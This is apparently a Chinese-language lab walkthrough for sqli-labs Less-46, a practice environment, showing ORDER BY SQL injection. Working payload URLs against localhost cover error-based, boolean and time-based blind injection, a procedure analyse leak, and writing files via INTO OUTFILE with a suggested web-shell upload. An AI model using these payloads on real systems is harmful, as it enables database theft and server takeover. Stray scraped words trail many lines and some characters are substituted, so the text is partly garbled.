Sqli-labs less 46

Less-46

从本关开始,咱们开始学习order by 相关注入的知识。mysql

本关的sql语句为$sql = "SELECT * FROM users ORDER BY $id";sql

尝试?sort=1 desc或者asc,显示结果不一样,则代表能够注入。(升序or降序排列)函数

从上述的sql语句中咱们能够看出,咱们的注入点在order by后面的参数中,而order by不一样于的咱们在where后的注入点,不能使用union等进行注入。如何进行order by的注入,咱们先来了解一下mysql官方select的文档。学习

咱们可利用order by后的一些参数进行注入。3d

首先orm

(1)、order by 后的数字能够做为一个注入点。也就是构造order by 后的一个语句,让该语句执行结果为一个数,咱们尝试blog

http://127.0.0.1/sqli-labs/Less-46/?sort=right(version(),1)图片

没有报错,可是right换成left都同样,说明数字没有起做用,咱们考虑布尔类型。此时咱们能够用报错注入和延时注入。md5

此处能够直接构造 ?sort= 后面的一个参数。此时,咱们能够有三种形式,ci

①直接添加注入语句,?sort=(select ******)

②利用一些函数。例如rand()函数等。?sort=rand(sql语句)

Ps:此处咱们能够展现一下rand(ture)和rand(false)的结果是不同的。

③利用and,例如?sort=1 and (加sql语句)。

同时,sql语句能够利用报错注入和延时注入的方式,语句咱们能够很灵活的构造。

报错注入例子

http://127.0.0.1/sqli-labs/Less-46/?sort=(select%20count(*)%20from%20information_schema.columns%20group%20by%20concat(0x3a,0x3a,(select%20user()),0x3a,0x3a,floor(rand()*2)))

上述例子,能够看到root@localhost的用户名

 

接下来咱们用rand()进行演示一下,由于上面提到rand(true)和 rand(false)结果是不同的。

http://127.0.0.1/sqli-labs/Less-46/?sort=rand(ascii(left(database(),1))=115)

 

 

http://127.0.0.1/sqli-labs/Less-46/?sort=rand(ascii(left(database(),1))=116)

 

从上述两个图的结果,对比rand(ture)和rand(false)的结果,能够看出报错注入是成功的。

 

延时注入例子

http://127.0.0.1/sqli-labs/Less-46/?sort=%20(SELECT%20IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,md5(%271%27)),null)%20FROM%20(select%20database()%20as%20current)%20as%20tb1)

 

http://127.0.0.1/sqllib/Less-46/?sort=1%20and%20If(ascii(substr(database(),1,1))=116,0,sleep(5))

上述两个延时注入的例子能够很明显的看出时间的不一样,这里就不贴图了,图片没法展现延时。。。

 

同时也能够用?sort=1 and 后添加注入语句。这里就不一一演示了。

  1. procedure analyse参数后注入

    利用procedure analyse参数,咱们能够执行报错注入。同时,在procedure analyse和order by之间能够存在limit参数,咱们在实际应用中,每每也可能会存在limit后的注入,能够利用procedure analyse进行注入。

    如下为示范例

    http://127.0.0.1/sqli-labs/Less-46/?sort=1%20%20procedure%20analyse(extractvalue(rand(),concat(0x3a,version())),1)

  2. 导入导出文件into outfile参数

    http://127.0.0.1/sqllib/Less-46/?sort=1%20into%20outfile%20%22c:\\wamp\\www\\sqllib\\test1.txt%22

    将查询结果导入到文件当中

    那这个时候咱们能够考虑上传网马,利用lines terminated by。

    Into outtfile c:\\wamp\\www\\sqllib\\test1.txt lines terminated by 0x(网马进行16进制转换)

相关文章
相关标签/搜索